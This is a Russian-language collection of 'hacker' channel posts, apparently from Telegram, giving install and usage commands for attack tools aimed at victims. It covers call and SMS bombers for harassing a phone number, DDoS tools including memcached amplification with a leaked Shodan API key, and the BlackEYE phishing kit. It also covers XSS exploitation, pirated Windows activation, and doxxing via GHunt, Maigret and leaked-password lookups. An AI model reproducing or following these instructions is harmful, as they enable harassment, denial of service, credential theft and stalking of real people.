​​📞 Спам звонками в Termux

CALL Bomber - это улучшенная версия SMS Bomber'a, только тут для атаки используются не SMS, а звонки. Максимально эффективная и быстрая атака, которая точно не оставит жертву в покое, пока она не будет отключена.

Установка:

$ apt install git python3-pip python3
$ pip3 install requests transliterate pyarmor
$ git clone https://github.com/pentestxr/Fludilka.git
$ cd Fludilka
$ cd Termux

Использование:

$ python fludilka.py

Далее вводим номер.
Готово! Атака началась, теперь жертве будут без перебоя идти звонки, один за одним.

​​⚫️ Как осуществить DDoS-атаку на сайт?

В предоставленном посте станет рассмотрен метод проведения DDoS атаки на отдельный вебсайт, с поддержкой нескольких уязвимостей и дыр в безопасности. Будем применять утилиту "Hunner".

Установка:

$ git clone https://github.com/b3-v3r/hunner

$ cd hunner

$ pkg install root-repo

$ pkg install hping3

Использование:

$ python3 hunner.py

После выполнения данной команды, выбираем пункт "3", затем "1", начнётся атака.

​​Memcrashed - самый мощнейший DDoS

Memcrashed - это инструмент, позволяющий использовать Shodan.io для получения сотен уязвимых Memcached серверов.

Полезная нагрузка по умолчанию включает в себя команду memcached "stats", 10 байтов для отправки, но ответ составляет от 1500 байт до сотен килобайт. Результаты и мощность просто поражают - 28 февраля 2018 г. на GitHub.com произошла атака мощностью 1,35 Тб/сек.

Установка:

$ git clone https://github.com/649/Memcrashed-DDoS-Exploit.git
$ pip install shodan
$ pip install scapy
$ pip install -r requirements.txt
$ cd /Memcrashed-DDoS-Exploit

Использование:

$ python3 Memcrashed.py

Memcrashed просит ввести ему валидный ApiKey. Его можно попробовать поискать на GitHub по: api key & ApiKey & ApiKey Shodan.

Но так-же есть маленький презент для вас, рабочий ключ "PSKINdQe1GyxGgecYz2191H2JoS9qvgD"

​​🧰 Устанавливаем 340 полезных утилит

Sashay - это скрипт, который предоставит вам возможность
автоматической установки 340 утилит. 340 базовых инструментов для Linux с помощью которых вы можете прокачать свои "навыки" и увеличить ваш опыт в пентесте.

• DDOS атаки
• Брутфорс атаки
• Сканирование сайтов на уязвимость
• OSINT-инструменты
• Сниффинг
• и ещё пару полезных программ.

Установка:
$ git clone https://github.com/viewerdiscretion/sashay.git
$ cd sashay
$ chmod +x install

Использование:
$ sh install

Для запуска в любой момент используйте команду sshy

​​🕳 Фейковые Root права в Termux

Приветствую! Существует громадное количество утилит в Termux, некие из них являются воистину мощными и для их использования необходимы root права. Но что делать, если их получение является очень сложным процессом, а использовать утилиты хочется? Специально для такового случая была сотворена утилита FakeRoot.

Установка:
$ git clone https://github.com/B41B4L/FakeRoot
$ cd FakeRoot
$ chmod +x Root.sh

Внедрение:
$ ./Root.sh

Готово, для проверки мы можем написать, команду:
$ whoami
Итог обязан быть таковой - root

Так-же есть другой метод установки:
$ pkg install fakeroot

И чтоб активировать режим Рут мы всегда прописываем команду:
$ fakeroot

Готово!

​​💉 Находим xss уязвимости на веб-сайтах!

xsssniper - это удобный инструмент, предназначенный для обнаружения и эксплуатации уязвимостей «Межсайтового скриптинга»‎ (XSS) на атакуемых веб-сайтах.

Установка:
$ git clone https://github.com/gbrindisi/xsssniper
$ cd xsssniper

Сканирование URL с параметрами GET:
$ python xsssniper.py -u "http://target.com/index.php?page=test"

Сканирование URL с параметрами POST:
$ python xsssniper.py -u "http://blackhat_lab.com/index.php" --post --data=POST_DATA

Полное сканирование всего сайта:
$ python xsssniper.py -u "http://target.com" --crawl

​​🔒 Анонимно выходим в сеть с помощью Tor-Router!

Tor Router позволяет вам использовать сеть TOR в качестве прозрачного прокси-сервера и отправлять весь ваш трафик, включая DNS-запросы, через TOR.

Tor router не трогает системные файлы, как это делают остальные инструменты для маршрутизации трафика. Причина этого в том, что нет необходимости изменять файлы для маршрутизации трафика, так как сбой в скрипте может нарушить ваше системное соединение.

Установка:
▫️git clone https://github.com/edu4rdshl/tor-router
▫️cd tor-router/files

Открываем файл torrc через текстовый редактор:
▫️sudo nano /etc/tor/torrc

И добавляем в файл следующий текст:

 up TOR transparent proxy for tor-router
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 5353

После этого перезапускаем службу TOR:
▫️sudo systemctl restart tor

Использование:
▫️./tor-router

Теперь весь ваш трафик проходит через сеть TOR. Проверить это можно на на check.torproject.org. Для тестов DNS: dnsleaktest.com.

​​✅ Как активировать Windows 10 без постороннего ПО?

Салют! Случается, что все известные активаторы не работают и даже KMS Auto подводит. В подобном случае можно прибегнуть к методике ниже.

1. Раскрываем Powershell от имени админа
2. Прописываем надлежащие команды
$ slmgr /skms kms.loli.best
$ slmgr /ato
$ slmgr /xpr
Немного ждём, вылезут 2 окна, испытываем. PROFIT!

Испытано на следующих версиях Windows: Корпоративная 2016 (LTSB), Корпоративная 2019 (LTSC), Pro 1903, Home 1909, Корпоративная 1903.

​​🚫 Как отключить всю рекламу на Android?

Доброго времени суток! На сегодняшний день проблема вездесущей рекламы стоит наиболее остро. Мы предлагаем вам метод, который позволит вам легко избавиться от нее полностью без использования приложений и различных расширений!

Погнали!

1. Первым делом открываем "Настройки", затем "Подключение и общий доступ"
2. Нажимаем "Частный DNS-сервер" и выбираем "Имя хоста провайдера DNS"
3. В открывшемся меню вводим "dns.AdGuard.com"

Таким образом, почти вся реклама будет блокироваться в браузерах на телефоне. Данный метод работает на Android выше 9-й версии без взломов и Root-прав.

​​​🔍 SIGIT - сбор информации/пробив

В этом посте хочу показать вам
простой инструмент, который довольно мощный в своём деле!

Инструмент для сбора информации!
Присутствует 12 функций!
Функции по ссылке: жмяк

Установка B TERMUX:

Качаем wget если нету!

$ apt install wget -y

Качаем сам sigit

$ wget https://raw.githubusercontent.com/termuxhackers-id/SIGIT/main/install.sh && bash install.sh

Запуск:
Пишем: $ sigit

​​🗄 Ищем аккаунты жертвы с помощью NExfil

NExfil — это инструмент OSINT, написанный на python для поиска профилей по имени пользователя. Предоставленные имена пользователей проверяются более чем на 350 веб-сайтах в течение нескольких секунд. Целью этого инструмента было быстрое получение результатов при минимальном количестве ложных срабатываний.

Установка:

 clone https://github.com/thewhiteh4t/nexfil.git
▪️cd nexfil
▪️pip3 install -r requirements.txt

Использование:

 nexfil.py -h

​​📡 Как искать нужные сайты в TOR?

Даркнет больше похож на интернет образца 90х, поисковики работают плохо, перекрестные ссылки между onion-сайтами редки, Tor работает медленно, Onion сайты довольно часто меняют адреса.

1. http://msydqstlz2kzerdg.onion/ — Один из лучших поисковиков в даркнете, в индексе много ресурсов. Возможен поиск даже по i2p. Ahmia ищет как по отечественным, так и по зарубежным ресурсам. Является инициативой некоммерческой организации Hermes Center for Transparency and Digital Human Rights, поддерживающей Tor и развивающей сервисы анонимного общения Globaleaks и Tor2web. Наверное по этой причине в этом поисковике почти нет рекламы и результаты волне релевантны.

2. http://haystakvxad7wbk5.onion/ — Сравнительно новый, но неплохо показывающий себя поисковый движок. По их собственным заявлениям – самый крупный из существующих. Почему бы и не проверить их громкие заявления?

3. http://hss3uro2hsxfogfq.onion/ — По словам создателей, в базе поисковика более 28056215 индексов. И глядя на выдачу сложно с этим не согласиться. По своему функционалу и качеству абсолютно не уступает конкурентам. Благодаря продуманным и постоянно улучшающимся алгоритмам ранжирования найти нужную информацию довольно просто.

​​✉️ Мощнейшая SMS-атака на телефон!

Данный пост будет посвящён проведению, наверное, самой мощной SMS атаки с помощью утилиты Infinite-Bomber. Для чего? Допустим, насолить своему неприятелю или просто пошутить над друзьями.

Установка:

$ git clone https://github.com/Argisht44/android.git
$ cd android
$ cd Infinite-Bomber-arm64
$ chmod 777 Infinite-Bomber

Использование:

$ ./infinite-bomber

После выполнения последней команды перед вами появится меню с выбором функций, выбираете нужную, вводите номер и атака начнётся.

​​🔬 Полный пробив человека

Social Analyzer - утилита для анализа и поиска профиля человека в более чем 350 социальных сетях и веб-сайтах.

Он включает в себя огромное количество модулей сбора и анализа полученной информации, а также позволяет выбрать, какую комбинацию модулей использовать в процессе расследования.

Данный проект в настоящее время используется некоторыми правоохранительными органами в странах с ограниченными ресурсами.

Установка:
$ pip3 install social-analyzere

Использование:
$ python3 -m social-analyzer --cli --mode "fast" --username "in4osecurity" --websites "youtube pinterest tumblr" --output "pretty" --metadata --extract --tri

​​🗃 30 готовых сервисов для фишинга

BlackEYE — универсальный инструмент для фишинга наиболее популярных сервисов таких как Instagram, Facebook, Yandex, PayPal и т.д.

Установка

$ apt upgrade && apt update
$ pkg install git
$ git clone https://github.com/An0nUD4Y/blackeye
$ ls
$ cd blackeye

Запуск

$ bash blackeye.sh

Вуа-ля, теперь мы можем выбрать уже готовый сервис (01-32) или же создать свой (33). После ввода цифры, сгенерируется ссылка, которую можно преобразовать с помощью утилиты URLPhish и скинуть жертве. Ну а если вашего сайта нет в списке, то вы его можете добавить с помощью пункта 33, там вам следует ввести URL сайта, и фишинг будет готов.

​​Как искать нужные сайты в TOR?

Даркнет больше похож на интернет образца 90х, поисковики работают плохо, перекрестные ссылки между onion-сайтами редки, Tor работает медленно, Onion сайты довольно часто меняют адреса.

1. http://msydqstlz2kzerdg.onion/ — Один из лучших поисковиков в даркнете, в индексе много ресурсов. Возможен поиск даже по i2p. Ahmia ищет как по отечественным, так и по зарубежным ресурсам. Является инициативой некоммерческой организации Hermes Center for Transparency and Digital Human Rights, поддерживающей Tor и развивающей сервисы анонимного общения Globaleaks и Tor2web. Наверное по этой причине в этом поисковике почти нет рекламы и результаты волне релевантны.

2. http://haystakvxad7wbk5.onion/ — Сравнительно новый, но неплохо показывающий себя поисковый движок. По их собственным заявлениям – самый крупный из существующих. Почему бы и не проверить их громкие заявления?

3. http://hss3uro2hsxfogfq.onion/ — По словам создателей, в базе поисковика более 28056215 индексов. И глядя на выдачу сложно с этим не согласиться. По своему функционалу и качеству абсолютно не уступает конкурентам. Благодаря продуманным и постоянно улучшающимся алгоритмам ранжирования найти нужную информацию довольно просто.

​​📩 Получаем информацию о человеке, зная его почту!

Сегодня я хочу показать вам крутой инструмент по сбору информации из почты. Использовать мы будем старый добрый Termux. Вот такие данные можно получить, имея только почту:

- Имя владельца
- Google ID
- Активированные сервисы Google
- Возможный канал YouTube
- Возможные имена
- Публичные фотографии
- Модели телефонов
- Установленное программное обеспечение
- Отзывы о Google Maps
- Возможное физическое местоположение

Установка:
$ git clone https://github.com/mxrch/GHunt
$ pip3 install -r requirements.txt
$ python check_and_gen.py

Использование:
$ python hunt.py ПРИМЕР@gmail.com

​​🔍 Давай я поищу в Google вместо тебя

Если вам задают тупые вопросы, вместо того чтобы загуглить и прочитать на первой поисковой выдаче, то есть отличный способ показать собеседнику, как это делаться.

"Давай я поищу вместо тебя" - сервис, который делает анимацию написания запроса в Google и добавит фразу "Разве это так трудно?". И на вопрос ответите, и подколите собеседника.

Чтобы воспользоваться нужно:

1️⃣ Перейти по ссылке

2️⃣ Вписать нужный запрос и нажать "Поиск в Google"

3️⃣ Скопировать ссылку и отправить собеседнику

​​🗄 Поиск по общедоступным файлам в Google Drive!

Обширное пространство Google диска хранит в себе не только личные файлы пользователей, но еще и публичные данные, доступ к которым открыт только по прямой ссылке.

И если сам диск не предлагает функциональную возможность поиска открытых файлов или прямых ссылок к ним, то Google поисковик без раздумий выложит их на обозрение. Для этого достаточно лишь ввести фразу site:drive.google.com перед интересующим вас запросом.

Так как вышеописанная инструкция не всегда бывает удобной, существует специальный поисковик — Dedigger. Он так же нацелен на обнаружение общедоступных файлов, но в гораздо упрощенном исполнении: давая возможность осуществлять поиск без команд, предлагая выбрать расширение нужного файла и показывая его предпросмотр.

🪤 Слитые базы паролей от почты

Сегодня мы расскажем о методах поиска информации, а также выполним поиск паролей от Email по различным утечкам.

К делу: 

1. Первый шаг, это проверка на слитые данные. Поможет нам в этом – haveibeenpwned. Также ищем информацию в других аналогичных сервисах:
• leakcheck.io
• dehashed.com
• ghostproject.fr
• leakedsource.ru
• breachalarm.com
• sitecheck.sucuri.net
• monitor.firefox.com

2. Далее находим информацию по email в – Intelligence X. Если сервис выводит результаты, то ищем строку по email.

3. Если на предыдущем шаге, вы не нашли нужный пароль, то стоит попробовать воспользоваться Telegram-ботами по пробиву, которых на сегодняшний день очень много.

Ищем человека по имени!

Maigret — форк Sherlock, адаптированный для соцсетей по RU сегменту. На данный момент утилита является лучшим инструментом для поиска цели по юзернейму и поддерживает более 2000 сайтов (полный список), по умолчанию поиск запускается на 500 популярных сайтах в порядке убывания популярности. Так же, ты самостоятельно можешь добавлять нужные тебе сайты для поиска необходимой информации.

Так же программа способна искать по ID, автоматически искать по найденным новым никнеймам, парсить страницы аккаунтов и многое другое.

Установка
1. git clone https://github.com/soxoj/maigret && cd maigret
2. pip3 install -r requirements.txt

Использование
3. maigret {Имя_пользвователя}